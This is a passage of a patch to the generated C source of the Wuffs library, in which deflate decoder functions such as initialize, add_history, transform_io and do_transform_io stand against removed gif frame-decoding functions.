WUFFS_BASE__POTENTIALLY_UNUSED = { -+ 1073741824u, 1073742080u, 1073742336u, 1073742592u, 1073742864u, 1073743376u, 1073743904u, 1073744928u, -+ 1073745968u, 1073748016u, 1073750080u, 1073754176u, 1073758288u, 1073766480u, 1073774688u, 1073791072u, -+ 1073807472u, 1073840240u, 1073873024u, 1073938560u, 1074004112u, 1074135184u, 1074266272u, 1074528416u, -+ 1074790576u, 1075314864u, 1075839168u, 1076887744u, 1077936336u, 1080033488u, 134217728u, 134217728u, -+}; -+ -+#define WUFFS_DEFLATE__HUFFS_TABLE_SIZE 1024u -+ -+#define WUFFS_DEFLATE__HUFFS_TABLE_MASK 1023u -+ -+// ---------------- Private Initializer Prototypes -+ -+// ---------------- Private Function Prototypes -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_deflate__decoder__do_transform_io( -+ wuffs_deflate__decoder* self, -+ wuffs_base__io_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__slice_u8 a_workbuf); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_deflate__decoder__decode_blocks( -+ wuffs_deflate__decoder* self, -+ wuffs_base__io_buffer* a_dst, -+ wuffs_base__io_buffer* a_src); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_deflate__decoder__decode_uncompressed( -+ wuffs_deflate__decoder* self, -+ wuffs_base__io_buffer* a_dst, -+ wuffs_base__io_buffer* a_src); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_deflate__decoder__init_fixed_huffman( -+ wuffs_deflate__decoder* self); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_deflate__decoder__init_dynamic_huffman( -+ wuffs_deflate__decoder* self, -+ wuffs_base__io_buffer* a_src); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_deflate__decoder__init_huff( -+ wuffs_deflate__decoder* self, -+ uint32_t a_which, -+ uint32_t a_n_codes0, -+ uint32_t a_n_codes1, -+ uint32_t a_base_symbol); -+ -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V3) -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_deflate__decoder__decode_huffman_bmi2( -+ wuffs_deflate__decoder* self, -+ wuffs_base__io_buffer* a_dst, -+ wuffs_base__io_buffer* a_src); -+#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V3) -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_deflate__decoder__decode_huffman_fast32( -+ wuffs_deflate__decoder* self, -+ wuffs_base__io_buffer* a_dst, -+ wuffs_base__io_buffer* a_src); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_deflate__decoder__decode_huffman_fast64( -+ wuffs_deflate__decoder* self, -+ wuffs_base__io_buffer* a_dst, -+ wuffs_base__io_buffer* a_src); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_deflate__decoder__decode_huffman_fast64__choosy_default( -+ wuffs_deflate__decoder* self, -+ wuffs_base__io_buffer* a_dst, -+ wuffs_base__io_buffer* a_src); -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_deflate__decoder__decode_huffman_slow( -+ wuffs_deflate__decoder* self, -+ wuffs_base__io_buffer* a_dst, -+ wuffs_base__io_buffer* a_src); -+ -+// ---------------- VTables -+ -+const wuffs_base__io_transformer__func_ptrs -+wuffs_deflate__decoder__func_ptrs_for__wuffs_base__io_transformer = { -+ (wuffs_base__optional_u63(*)(const void*))(&wuffs_deflate__decoder__dst_history_retain_length), -+ (uint64_t(*)(const void*, -+ uint32_t))(&wuffs_deflate__decoder__get_quirk), -+ (wuffs_base__status(*)(void*, -+ uint32_t, -+ uint64_t))(&wuffs_deflate__decoder__set_quirk), -+ (wuffs_base__status(*)(void*, -+ wuffs_base__io_buffer*, -+ wuffs_base__io_buffer*, -+ wuffs_base__slice_u8))(&wuffs_deflate__decoder__transform_io), -+ (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_deflate__decoder__workbuf_len), -+}; -+ -+// ---------------- Initializer Implementations -+ -+wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT -+wuffs_deflate__decoder__initialize( -+ wuffs_deflate__decoder* self, -+ size_t sizeof_star_self, -+ uint64_t wuffs_version, -+ uint32_t options){ - if (!self) { -- return wuffs_base__utility__empty_rect_ie_u32(); -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); - } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return wuffs_base__utility__empty_rect_ie_u32(); -+ if (sizeof(*self) != sizeof_star_self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); -+ } -+ if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || -+ (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { -+ return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); - } - -- return wuffs_base__utility__make_rect_ie_u32( -- wuffs_base__u32__min(self->private_impl.f_frame_rect_x0, self->private_impl.f_width), -- wuffs_base__u32__min(self->private_impl.f_frame_rect_y0, self->private_impl.f_height), -- wuffs_base__u32__min(self->private_impl.f_frame_rect_x1, self->private_impl.f_width), -- wuffs_base__u32__min(self->private_impl.f_dirty_max_excl_y, self->private_impl.f_height)); -+ if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { -+ // The whole point of this if-check is to detect an uninitialized *self. -+ // We disable the warning on GCC. Clang-5.0 does not have this warning. -+#if !defined(__clang__) && defined(__GNUC__) -+#pragma GCC diagnostic push -+#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" -+#endif -+ if (self->private_impl.magic != 0) { -+ return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); -+ } -+#if !defined(__clang__) && defined(__GNUC__) -+#pragma GCC diagnostic pop -+#endif -+ } else { -+ if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { -+ memset(self, 0, sizeof(*self)); -+ options |= WUFFS_INITIALIZE__ALREADY_ZEROED; -+ } else { -+ memset(&(self->private_impl), 0, sizeof(self->private_impl)); -+ } -+ } -+ -+ self->private_impl.choosy_decode_huffman_fast64 = &wuffs_deflate__decoder__decode_huffman_fast64__choosy_default; -+ -+ self->private_impl.magic = WUFFS_BASE__MAGIC; -+ self->private_impl.vtable_for__wuffs_base__io_transformer.vtable_name = -+ wuffs_base__io_transformer__vtable_name; -+ self->private_impl.vtable_for__wuffs_base__io_transformer.function_pointers = -+ (const void*)(&wuffs_deflate__decoder__func_ptrs_for__wuffs_base__io_transformer); -+ return wuffs_base__make_status(NULL); -+} -+ -+wuffs_deflate__decoder* -+wuffs_deflate__decoder__alloc(void) { -+ wuffs_deflate__decoder* x = -+ (wuffs_deflate__decoder*)(calloc(1, sizeof(wuffs_deflate__decoder))); -+ if (!x) { -+ return NULL; -+ } -+ if (wuffs_deflate__decoder__initialize( -+ x, sizeof(wuffs_deflate__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { -+ free(x); -+ return NULL; -+ } -+ return x; -+} -+ -+size_t -+sizeof__wuffs_deflate__decoder(void) { -+ return sizeof(wuffs_deflate__decoder); - } - --// -------- func gif.decoder.history_retain_length -+// ---------------- Function Implementations -+ -+// -------- func deflate.decoder.add_history - - WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC uint64_t --wuffs_gif__decoder__history_retain_length( -- const wuffs_gif__decoder* self) { -+WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct -+wuffs_deflate__decoder__add_history( -+ wuffs_deflate__decoder* self, -+ wuffs_base__slice_u8 a_hist) { - if (!self) { -- return 0; -+ return wuffs_base__make_empty_struct(); - } -- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return 0; -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_empty_struct(); - } - -- return 0u; -+ wuffs_base__slice_u8 v_s = {0}; -+ uint64_t v_n_copied = 0; -+ uint32_t v_already_full = 0; -+ -+ v_s = a_hist; -+ if (((uint64_t)(v_s.len)) >= 32768u) { -+ v_s = wuffs_private_impl__slice_u8__suffix(v_s, 32768u); -+ wuffs_private_impl__slice_u8__copy_from_slice(wuffs_base__make_slice_u8(self->private_data.f_history, 32768), v_s); -+ self->private_impl.f_history_index = 32768u; -+ } else { -+ v_n_copied = wuffs_private_impl__slice_u8__copy_from_slice(wuffs_base__make_slice_u8_ij(self->private_data.f_history, (self->private_impl.f_history_index & 32767u), 32768), v_s); -+ if (v_n_copied < ((uint64_t)(v_s.len))) { -+ v_s = wuffs_base__slice_u8__subslice_i(v_s, v_n_copied); -+ v_n_copied = wuffs_private_impl__slice_u8__copy_from_slice(wuffs_base__make_slice_u8(self->private_data.f_history, 32768), v_s); -+ self->private_impl.f_history_index = (((uint32_t)((v_n_copied & 32767u))) + 32768u); -+ } else { -+ v_already_full = 0u; -+ if (self->private_impl.f_history_index >= 32768u) { -+ v_already_full = 32768u; -+ } -+ self->private_impl.f_history_index = ((self->private_impl.f_history_index & 32767u) + ((uint32_t)((v_n_copied & 32767u))) + v_already_full); -+ } -+ } -+ wuffs_private_impl__slice_u8__copy_from_slice(wuffs_base__make_slice_u8_ij(self->private_data.f_history, 32768, 33025), wuffs_base__make_slice_u8(self->private_data.f_history, 33025)); -+ return wuffs_base__make_empty_struct(); - } - --// -------- func gif.decoder.workbuf_len -+// -------- func deflate.decoder.get_quirk - - WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 --wuffs_gif__decoder__workbuf_len( -- const wuffs_gif__decoder* self) { -+WUFFS_BASE__MAYBE_STATIC uint64_t -+wuffs_deflate__decoder__get_quirk( -+ const wuffs_deflate__decoder* self, -+ uint32_t a_key) { - if (!self) { -- return wuffs_base__utility__empty_range_ii_u64(); -+ return 0; - } - if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && - (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -- return wuffs_base__utility__empty_range_ii_u64(); -+ return 0; - } - -- return wuffs_base__utility__make_range_ii_u64(0u, 0u); -+ return 0u; - } - --// -------- func gif.decoder.restart_frame -+// -------- func deflate.decoder.set_quirk - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_gif__decoder__restart_frame( -- wuffs_gif__decoder* self, -- uint64_t a_index, -- uint64_t a_io_position) { -+wuffs_deflate__decoder__set_quirk( -+ wuffs_deflate__decoder* self, -+ uint32_t a_key, -+ uint64_t a_value) { - if (!self) { - return wuffs_base__make_status(wuffs_base__error__bad_receiver); - } -@@ -37252,28 +38578,52 @@ wuffs_gif__decoder__restart_frame( - : wuffs_base__error__initialize_not_called); - } - -- if (self->private_impl.f_call_sequence < 32u) { -- return wuffs_base__make_status(wuffs_base__error__bad_call_sequence); -- } else if (a_io_position == 0u) { -- return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ return wuffs_base__make_status(wuffs_base__error__unsupported_option); -+} -+ -+// -------- func deflate.decoder.dst_history_retain_length -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__optional_u63 -+wuffs_deflate__decoder__dst_history_retain_length( -+ const wuffs_deflate__decoder* self) { -+ if (!self) { -+ return wuffs_base__utility__make_optional_u63(false, 0u); - } -- self->private_impl.f_delayed_num_decoded_frames = false; -- self->private_impl.f_frame_config_io_position = a_io_position; -- self->private_impl.f_num_decoded_frame_configs_value = a_index; -- self->private_impl.f_num_decoded_frames_value = a_index; -- wuffs_gif__decoder__reset_gc(self); -- self->private_impl.f_call_sequence = 40u; -- return wuffs_base__make_status(NULL); -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return wuffs_base__utility__make_optional_u63(false, 0u); -+ } -+ -+ return wuffs_base__utility__make_optional_u63(true, 0u); - } - --// -------- func gif.decoder.decode_frame_config -+// -------- func deflate.decoder.workbuf_len -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 -+wuffs_deflate__decoder__workbuf_len( -+ const wuffs_deflate__decoder* self) { -+ if (!self) { -+ return wuffs_base__utility__empty_range_ii_u64(); -+ } -+ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && -+ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { -+ return wuffs_base__utility__empty_range_ii_u64(); -+ } -+ -+ return wuffs_base__utility__make_range_ii_u64(1u, 1u); -+} -+ -+// -------- func deflate.decoder.transform_io - - WUFFS_BASE__GENERATED_C_CODE - WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_gif__decoder__decode_frame_config( -- wuffs_gif__decoder* self, -- wuffs_base__frame_config* a_dst, -- wuffs_base__io_buffer* a_src) { -+wuffs_deflate__decoder__transform_io( -+ wuffs_deflate__decoder* self, -+ wuffs_base__io_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__slice_u8 a_workbuf) { - if (!self) { - return wuffs_base__make_status(wuffs_base__error__bad_receiver); - } -@@ -37283,12 +38633,12 @@ wuffs_gif__decoder__decode_frame_config( - ? wuffs_base__error__disabled_by_previous_error - : wuffs_base__error__initialize_not_called); - } -- if (!a_src) { -+ if (!a_dst || !a_src) { - self->private_impl.magic = WUFFS_BASE__DISABLED; - return wuffs_base__make_status(wuffs_base__error__bad_argument); - } - if ((self->private_impl.active_coroutine != 0) && -- (self->private_impl.active_coroutine != 3)) { -+ (self->private_impl.active_coroutine != 1)) { - self->private_impl.magic = WUFFS_BASE__DISABLED; - return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); - } -@@ -37297,17 +38647,17 @@ wuffs_gif__decoder__decode_frame_config( - - wuffs_base__status v_status = wuffs_base__make_status(NULL); - -- uint32_t coro_susp_point = self->private_impl.p_decode_frame_config[0]; -+ uint32_t coro_susp_point = self->private_impl.p_transform_io; - switch (coro_susp_point) { - WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - - while (true) { - { -- wuffs_base__status t_0 = wuffs_gif__decoder__do_decode_frame_config(self, a_dst, a_src); -+ wuffs_base__status t_0 = wuffs_deflate__decoder__do_transform_io(self, a_dst, a_src, a_workbuf); - v_status = t_0; - } - if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { -- status = wuffs_base__make_status(wuffs_gif__error__truncated_input); -+ status = wuffs_base__make_status(wuffs_deflate__error__truncated_input); - goto exit; - } - status = v_status; -@@ -37315,14 +38665,14 @@ wuffs_gif__decoder__decode_frame_config( - } - - ok: -- self->private_impl.p_decode_frame_config[0] = 0; -+ self->private_impl.p_transform_io = 0; - goto exit; - } - - goto suspend; - suspend: -- self->private_impl.p_decode_frame_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 3 : 0; -+ self->private_impl.p_transform_io = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; - - goto exit; - exit: -@@ -37332,403 +38682,103 @@ wuffs_gif__decoder__decode_frame_config( - return status; - } - --// -------- func gif.decoder.do_decode_frame_config -+// -------- func deflate.decoder.do_transform_io - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__status --wuffs_gif__decoder__do_decode_frame_config( -- wuffs_gif__decoder* self, -- wuffs_base__frame_config* a_dst, -- wuffs_base__io_buffer* a_src) { -+wuffs_deflate__decoder__do_transform_io( -+ wuffs_deflate__decoder* self, -+ wuffs_base__io_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__slice_u8 a_workbuf) { - wuffs_base__status status = wuffs_base__make_status(NULL); - -- uint32_t v_background_color = 0; -- uint8_t v_flags = 0; -+ uint64_t v_mark = 0; -+ wuffs_base__status v_status = wuffs_base__make_status(NULL); - -- const uint8_t* iop_a_src = NULL; -- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- if (a_src && a_src->data.ptr) { -- io0_a_src = a_src->data.ptr; -- io1_a_src = io0_a_src + a_src->meta.ri; -- iop_a_src = io1_a_src; -- io2_a_src = io0_a_src + a_src->meta.wi; -+ uint8_t* iop_a_dst = NULL; -+ uint8_t* io0_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ uint8_t* io1_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ uint8_t* io2_a_dst WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_dst && a_dst->data.ptr) { -+ io0_a_dst = a_dst->data.ptr; -+ io1_a_dst = io0_a_dst + a_dst->meta.wi; -+ iop_a_dst = io1_a_dst; -+ io2_a_dst = io0_a_dst + a_dst->data.len; -+ if (a_dst->meta.closed) { -+ io2_a_dst = iop_a_dst; -+ } - } - -- uint32_t coro_susp_point = self->private_impl.p_do_decode_frame_config[0]; -- if (coro_susp_point) { -- v_background_color = self->private_data.s_do_decode_frame_config[0].v_background_color; -- } -+ uint32_t coro_susp_point = self->private_impl.p_do_transform_io; - switch (coro_susp_point) { - WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - -- self->private_impl.f_dirty_max_excl_y = 0u; -- if ((self->private_impl.f_call_sequence & 16u) != 0u) { -- status = wuffs_base__make_status(wuffs_base__error__bad_call_sequence); -- goto exit; -- } else if (self->private_impl.f_call_sequence == 32u) { -- } else if (self->private_impl.f_call_sequence < 32u) { -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ self->private_impl.choosy_decode_huffman_fast64 = ( -+#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V3) -+ wuffs_base__cpu_arch__have_x86_bmi2() ? &wuffs_deflate__decoder__decode_huffman_bmi2 : -+#endif -+ self->private_impl.choosy_decode_huffman_fast64); -+ while (true) { -+ v_mark = ((uint64_t)(iop_a_dst - io0_a_dst)); -+ { -+ if (a_dst) { -+ a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); -+ } -+ wuffs_base__status t_0 = wuffs_deflate__decoder__decode_blocks(self, a_dst, a_src); -+ v_status = t_0; -+ if (a_dst) { -+ iop_a_dst = a_dst->data.ptr + a_dst->meta.wi; -+ } - } -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -- status = wuffs_gif__decoder__do_decode_image_config(self, NULL, a_src); -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -- } -- if (status.repr) { -- goto suspend; -- } -- } else if (self->private_impl.f_call_sequence == 40u) { -- if (self->private_impl.f_frame_config_io_position != wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src)))) { -- status = wuffs_base__make_status(wuffs_base__error__bad_restart); -- goto exit; -- } -- } else if (self->private_impl.f_call_sequence == 64u) { -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -- status = wuffs_gif__decoder__skip_frame(self, a_src); -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -- } -- if (status.repr) { -- goto suspend; -- } -- if (self->private_impl.f_call_sequence >= 96u) { -- status = wuffs_base__make_status(wuffs_base__note__end_of_data); -- goto ok; -- } -- } else { -- status = wuffs_base__make_status(wuffs_base__note__end_of_data); -- goto ok; -- } -- if ((self->private_impl.f_num_decoded_frame_configs_value > 0u) || (self->private_impl.f_call_sequence == 40u)) { -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -- status = wuffs_gif__decoder__decode_up_to_id_part1(self, a_src); -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -- } -- if (status.repr) { -- goto suspend; -- } -- if (self->private_impl.f_call_sequence >= 96u) { -- status = wuffs_base__make_status(wuffs_base__note__end_of_data); -- goto ok; -- } -- } -- v_background_color = self->private_impl.f_black_color_u32_argb_premul; -- if ( ! self->private_impl.f_gc_has_transparent_index) { -- v_background_color = self->private_impl.f_background_color_u32_argb_premul; -- if (self->private_impl.f_quirks[1u] && (self->private_impl.f_num_decoded_frame_configs_value == 0u)) { -- while (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(4); -- } -- v_flags = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -- if ((v_flags & 128u) != 0u) { -- v_background_color = self->private_impl.f_black_color_u32_argb_premul; -+ if ( ! wuffs_base__status__is_suspension(&v_status)) { -+ status = v_status; -+ if (wuffs_base__status__is_error(&status)) { -+ goto exit; -+ } else if (wuffs_base__status__is_suspension(&status)) { -+ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); -+ goto exit; - } -+ goto ok; - } -- } -- if (a_dst != NULL) { -- wuffs_base__frame_config__set( -- a_dst, -- wuffs_base__utility__make_rect_ie_u32( -- wuffs_base__u32__min(self->private_impl.f_frame_rect_x0, self->private_impl.f_width), -- wuffs_base__u32__min(self->private_impl.f_frame_rect_y0, self->private_impl.f_height), -- wuffs_base__u32__min(self->private_impl.f_frame_rect_x1, self->private_impl.f_width), -- wuffs_base__u32__min(self->private_impl.f_frame_rect_y1, self->private_impl.f_height)), -- ((wuffs_base__flicks)(self->private_impl.f_gc_duration)), -- self->private_impl.f_num_decoded_frame_configs_value, -- self->private_impl.f_frame_config_io_position, -- self->private_impl.f_gc_disposal, -- ! self->private_impl.f_gc_has_transparent_index, -- false, -- v_background_color); -- } -- wuffs_base__u64__sat_add_indirect(&self->private_impl.f_num_decoded_frame_configs_value, 1u); -- self->private_impl.f_call_sequence = 64u; -- -- ok: -- self->private_impl.p_do_decode_frame_config[0] = 0; -- goto exit; -- } -- -- goto suspend; -- suspend: -- self->private_impl.p_do_decode_frame_config[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- self->private_data.s_do_decode_frame_config[0].v_background_color = v_background_color; -- -- goto exit; -- exit: -- if (a_src && a_src->data.ptr) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- -- return status; --} -- --// -------- func gif.decoder.skip_frame -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_gif__decoder__skip_frame( -- wuffs_gif__decoder* self, -- wuffs_base__io_buffer* a_src) { -- wuffs_base__status status = wuffs_base__make_status(NULL); -- -- uint8_t v_flags = 0; -- uint8_t v_lw = 0; -- -- const uint8_t* iop_a_src = NULL; -- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -- if (a_src && a_src->data.ptr) { -- io0_a_src = a_src->data.ptr; -- io1_a_src = io0_a_src + a_src->meta.ri; -- iop_a_src = io1_a_src; -- io2_a_src = io0_a_src + a_src->meta.wi; -- } -- -- uint32_t coro_susp_point = self->private_impl.p_skip_frame[0]; -- switch (coro_susp_point) { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -- -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint8_t t_0 = *iop_a_src++; -- v_flags = t_0; -- } -- if ((v_flags & 128u) != 0u) { -- self->private_data.s_skip_frame[0].scratch = (((uint32_t)(3u)) << (1u + (v_flags & 7u))); -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -- if (self->private_data.s_skip_frame[0].scratch > ((uint64_t)(io2_a_src - iop_a_src))) { -- self->private_data.s_skip_frame[0].scratch -= ((uint64_t)(io2_a_src - iop_a_src)); -- iop_a_src = io2_a_src; -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- iop_a_src += self->private_data.s_skip_frame[0].scratch; -- } -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint8_t t_1 = *iop_a_src++; -- v_lw = t_1; -- } -- if (v_lw > 8u) { -- status = wuffs_base__make_status(wuffs_gif__error__bad_literal_width); -- goto exit; -- } -- if (a_src) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); -- status = wuffs_gif__decoder__skip_blocks(self, a_src); -- if (a_src) { -- iop_a_src = a_src->data.ptr + a_src->meta.ri; -- } -- if (status.repr) { -- goto suspend; -- } -- if (self->private_impl.f_quirks[0u]) { -- self->private_impl.f_delayed_num_decoded_frames = true; -- } else { -- wuffs_base__u64__sat_add_indirect(&self->private_impl.f_num_decoded_frames_value, 1u); -- } -- wuffs_gif__decoder__reset_gc(self); -- self->private_impl.f_call_sequence = 32u; -- -- goto ok; -- ok: -- self->private_impl.p_skip_frame[0] = 0; -- goto exit; -- } -- -- goto suspend; -- suspend: -- self->private_impl.p_skip_frame[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- -- goto exit; -- exit: -- if (a_src && a_src->data.ptr) { -- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -- } -- -- return status; --} -- --// -------- func gif.decoder.decode_frame -- --WUFFS_BASE__GENERATED_C_CODE --WUFFS_BASE__MAYBE_STATIC wuffs_base__status --wuffs_gif__decoder__decode_frame( -- wuffs_gif__decoder* self, -- wuffs_base__pixel_buffer* a_dst, -- wuffs_base__io_buffer* a_src, -- wuffs_base__pixel_blend a_blend, -- wuffs_base__slice_u8 a_workbuf, -- wuffs_base__decode_frame_options* a_opts) { -- if (!self) { -- return wuffs_base__make_status(wuffs_base__error__bad_receiver); -- } -- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -- return wuffs_base__make_status( -- (self->private_impl.magic == WUFFS_BASE__DISABLED) -- ? wuffs_base__error__disabled_by_previous_error -- : wuffs_base__error__initialize_not_called); -- } -- if (!a_dst || !a_src) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -- return wuffs_base__make_status(wuffs_base__error__bad_argument); -- } -- if ((self->private_impl.active_coroutine != 0) && -- (self->private_impl.active_coroutine != 4)) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); -- } -- self->private_impl.active_coroutine = 0; -- wuffs_base__status status = wuffs_base__make_status(NULL); -- -- wuffs_base__status v_status = wuffs_base__make_status(NULL); -- -- uint32_t coro_susp_point = self->private_impl.p_decode_frame[0]; -- switch (coro_susp_point) { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -- -- while (true) { -- { -- wuffs_base__status t_0 = wuffs_gif__decoder__do_decode_frame(self, -- a_dst, -- a_src, -- a_blend, -- a_workbuf, -- a_opts); -- v_status = t_0; -- } -- if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { -- status = wuffs_base__make_status(wuffs_gif__error__truncated_input); -- goto exit; -- } -+ wuffs_private_impl__u64__sat_add_indirect(&self->private_impl.f_transformed_history_count, wuffs_private_impl__io__count_since(v_mark, ((uint64_t)(iop_a_dst - io0_a_dst)))); -+ wuffs_deflate__decoder__add_history(self, wuffs_private_impl__io__since(v_mark, ((uint64_t)(iop_a_dst - io0_a_dst)), io0_a_dst)); - status = v_status; - WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); - } - - ok: -- self->private_impl.p_decode_frame[0] = 0; -+ self->private_impl.p_do_transform_io = 0; - goto exit; - } - - goto suspend; - suspend: -- self->private_impl.p_decode_frame[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 4 : 0; -+ self->private_impl.p_do_transform_io = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; - - goto exit; - exit: -- if (wuffs_base__status__is_error(&status)) { -- self->private_impl.magic = WUFFS_BASE__DISABLED; -- } -- return status; --} -- --// -------- func gif.decoder.do_decode_frame -- --WUFFS_BASE__GENERATED_C_CODE --static wuffs_base__status --wuffs_gif__decoder__do_decode_frame( -- wuffs_gif__decoder* self, -- wuffs_base__pixel_buffer* a_dst, -- wuffs_base__io_buffer* a_src, -- wuffs_base__pixel_blend a_blend, -- wuffs_base__slice_u8 a_workbuf, -- wuffs_base__decode_frame_options* a_opts) { -- wuffs_base__status status = wuffs_base__make_status(NULL); -- -- uint32_t coro_susp_point = 